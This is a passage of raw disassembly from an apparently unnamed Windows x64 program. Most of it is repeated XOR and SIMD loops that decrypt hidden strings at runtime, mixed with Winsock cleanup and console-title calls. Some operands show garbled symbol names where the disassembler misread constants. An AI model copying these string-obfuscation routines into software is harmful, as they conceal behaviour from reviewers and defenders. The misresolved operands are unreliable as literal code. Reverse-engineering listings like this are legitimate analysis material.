ja 0x14002b339
call fcn.140062a94
movdqa xmm0, xmmword [0x1400a54e0]
movdqu xmmword [rbp + 0x1a8], xmm0
mov byte [rbp + 0x198], 0
lea rcx, [rbp + 0x518]
mov r10, qword [rbp + 0x518]
mov rbx, qword [rbp + 0x528]
cmp qword [rbp + 0x530], 0x10
jb 0x140028ae3
mov r15, r10
add rbx, r10
jmp 0x140028aed
add rbx, rcx
lea r15, [rbp + 0x518]
mov qword [rbp + 0x4f8], rsi
mov rcx, rsi
mov qword [rbp + 0x508], rcx
mov r8d, 7
mov qword [rbp + 0x510], r8
mov word [rbp + 0x4f8], si
mov rdx, rbx
sub rdx, r15
cmp rdx, r8
jbe 0x140028b41
lea rcx, [rbp + 0x4f8]
call fcn.1400149d0
mov rcx, rsi
mov qword [rbp + 0x508], rcx
mov r10, qword [rbp + 0x518]
mov r8, qword [rbp + 0x510]
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x50], rax
cmp r15, rbx
je 0x140028bc4
movzx edi, byte [rsp + 0x60]
movsx r9d, byte [r15]
cmp rcx, r8
jae 0x140028b8a
lea rax, [rcx + 1]
mov qword [rbp + 0x508], rax
lea rax, [rbp + 0x4f8]
cmp r8, 8
cmovae rax, qword [rbp + 0x4f8]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140028b9f
movzx r8d, dil
mov edx, 1
lea rcx, [rbp + 0x4f8]
call fcn.140014b40
inc r15
cmp r15, rbx
je 0x140028bb7
mov r8, qword [rbp + 0x510]
mov rcx, qword [rbp + 0x508]
jmp 0x140028b57
mov r10, qword [rbp + 0x518]
mov edi, dword [reloc.d2d1.dll_Ordinal_1]
movups xmm0, xmmword [0x1400a5308]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [str.__x_]
movups xmmword [rbp + 0x160], xmm1
movzx eax, word [0x1400a5328]
mov word [rbp + 0x170], ax
mov r8d, esi
cmp edi, 2
jl 0x140028d4f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x154]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140028c40
cmp r8d, 0x22
jge 0x140028d93
movsxd rax, r8d
lea r9, [rbp + 0x150]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140028d60
lea rax, [rbp + 0x518]
cmp qword [rbp + 0x530], 0x10
cmovae rax, r10
lea r8, [rbp + 0x150]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140028dc3
inc rax
test ecx, ecx
jne 0x140028db0
test edx, edx
je 0x14002b33f
xor edx, edx
mov r8d, 0xa8
lea rcx, [rbp + 0x730]
call fcn.140064be0
lea rcx, [rbp + 0x730]
call fcn.140024b60
nop
lea rcx, [rbp + 0x730]
call fcn.140025540
test al, al
jne 0x140028fb5
lea rdx, [rbp + 0x10]
call fcn.14002b5b0
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x14002b195
cmp edi, 2
jl 0x140028f6e
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x50
jl 0x140028e60
cmp esi, 0x54
jge 0x14002b195
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x54
jge 0x14002b195
jmp 0x140028f80
movups xmm0, xmmword [0x1400a4be8]
movups xmmword [rbp + 0x130], xmm0
movzx eax, word [0x1400a4bf8]
mov word [rbp + 0x140], ax
movzx eax, byte [0x1400a4bfa]
mov byte [rbp + 0x142], al
mov r8d, esi
cmp edi, 2
jl 0x14002913f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x134]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140029030
cmp r8d, 0x13
jge 0x140029183
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140029150
lea rax, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rax, qword [rbp + 0x690]
lea r8, [rbp + 0x130]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400291b7
inc rax
test ecx, ecx
jne 0x1400291a4
test edx, edx
jne 0x140029564
movups xmm0, xmmword [0x1400a50b8]
movups xmmword [rbp + 0x5a0], xmm0
mov eax, dword [0x1400a50c8]
mov dword [rbp + 0x5b0], eax
movzx eax, byte [0x1400a50cc]
mov byte [rbp + 0x5b4], al
mov r8d, esi
cmp edi, 2
jl 0x14002933f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5a4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140029230
cmp r8d, 0x15
jge 0x140029383
movsxd rax, r8d
lea r9, [rbp + 0x5a0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140029350
lea rcx, [rbp + 0x5a0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.mRZRVM]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [0x1400a4f28]
movups xmmword [rbp + 0x1d0], xmm1
movsd xmm0, qword [0x1400a4f38]
movsd qword [rbp + 0x1e0], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140029519
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1c4]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140029410
jmp 0x140029549
lea r9, [rbp + 0x1c0]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140029520
lea rdx, [rbp + 0x1c0]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
movups xmm0, xmmword [str.iHON]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [0x1400a52c8]
movups xmmword [rbp + 0x1f8], xmm1
movsd xmm0, qword [0x1400a52d8]
movsd qword [rbp + 0x208], xmm0
mov r8d, esi
cmp edi, 2
jl 0x1400296e9
movdqa xmm5, xmmword [0x1400a54f0]
mov edx, esi
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1ec]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x1400295e0
jmp 0x140029719
lea r9, [rbp + 0x1e8]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x1400296f0
lea rdx, [rbp + 0x1e8]
lea rcx, [0x140106ea0]
call fcn.140014590
mov rcx, rax
call fcn.140014800
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1400a41d4]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], WSACleanup
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
lea rcx, [rsp + 0x30]
call fcn.140030ab8
lea rdx, [rbp + 0x4f8]
cmp qword [rbp + 0x510], 8
cmovae rdx, qword [rbp + 0x4f8]
lea rcx, [rbp + 0x3a0]
call fcn.1400238c0
lea rcx, [rbp + 0x270]
mov ebx, 2
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400297b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov r15d, dword [rbp + 0x278]
test r15d, r15d
jne 0x1400298f3
lea rcx, [rbp + 0x730]
call fcn.14002b600
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 8
jb 0x14002987b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029876
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b385
call fcn.140062a94
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], 7
mov word [rbp + 0x4f8], si
mov rdx, qword [rbp + 0x530]
cmp rdx, 0x10
jb 0x1400298d5
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400298d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b38b
call fcn.140062a94
mov qword [rbp + 0x528], rsi
mov qword [rbp + 0x530], send
mov byte [rbp + 0x518], 0
jmp 0x1400284da
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x588], xmm0
mov qword [rbp + 0x598], rax
lea rdx, [rbp + 0x690]
cmp qword [rbp + 0x6a8], 0x10
cmovae rdx, qword [rbp + 0x690]
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x88], send
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140029936
lea rcx, [rbp + 0x70]
call fcn.140003990
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x558]
call fcn.140007430
nop
mov r11, qword [rbp + 0x588]
cmp r11, qword [rbp + 0x590]
jne 0x140029b92
test r11, r11
je 0x1400299c3
mov rdx, qword [rbp + 0x598]
sub rdx, r11
mov rax, r11
cmp rdx, 0x1000
jb 0x1400299a9
add rdx, 0x27
mov r11, qword [r11 - 8]
sub rax, r11
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b37f
mov rcx, r11
call fcn.140062a94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x588], xmm0
mov qword [rbp + 0x598], rsi
lea rcx, [rbp + 0x730]
call fcn.14002b600
nop
mov rdx, qword [rbp + 0x510]
cmp rdx, 8
jb 0x140029a16
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029a11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b385
call fcn.140062a94
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x510], 7
mov word [rbp + 0x4f8], si
mov rdx, qword [rbp + 0x530]
cmp rdx, 0x10
jb 0x140029a70
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029a6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b38b
call fcn.140062a94
mov qword [rbp + 0x528], rsi
mov qword [rbp + 0x530], send
mov byte [rbp + 0x518], 0
mov rcx, qword [rbp + 0x4e0]
test rcx, rcx
je 0x140029adb
mov rdx, qword [rbp + 0x4f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029ac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b391
call fcn.140062a94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4e0], xmm0
mov qword [rbp + 0x4f0], rsi
lea rcx, [rbp + 0x610]
call fcn.1400069f0
nop
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 0x10
jb 0x140029b2a
inc rdx
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b397
call fcn.140062a94
nop
mov rcx, qword [rbp + 0x560]
test rcx, rcx
je 0x140029b3c
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x558], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x580]
cmp rdx, 0x10
jb 0x1400285db
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400285d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002b1bf
jmp 0x1400285d6
cmp byte [rsp + 0x48], 0
jne 0x14002a1a7
cmp dword [rsp + 0x38], 0
je 0x14002a1a7
cmp dword [rsp + 0x64], 0
je 0x14002a1a7
cmp byte [rsp + 0x49], 0
je 0x14002a1a2
mov qword [rbp + 0x5d8], rsi
mov qword [rbp + 0x5e8], rsi
mov qword [rbp + 0x5f0], send
mov byte [rbp + 0x5d8], 0
movups xmm0, xmmword [0x1400a4ed0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1400a4ee0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1400a4ef0]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [str._fJ2ieSO]
movups xmmword [rbp + 0xf0], xmm1
movzx eax, byte [0x1400a4f10]
mov byte [rbp + 0x100], al
mov r8d, esi
cmp edi, 2
jl 0x140029d7f
movdqa xmm5, xmmword [0x1400a54f0]
movdqa xmm4, xmmword [0x1400a5c40]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400a5510]
movd xmm8, r13d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a5530]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140029c70
cmp r8d, 0x41
jge 0x140029dc3
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140029d90
lea rdx, [rbp + 0xc0]
lea rcx, [0x140106ea0]
call fcn.140014590
lea rdx, [rbp + 0x5d8]
lea rcx, [0x140107460]
call fcn.14002c650
mov eax, dword [str.__H_]
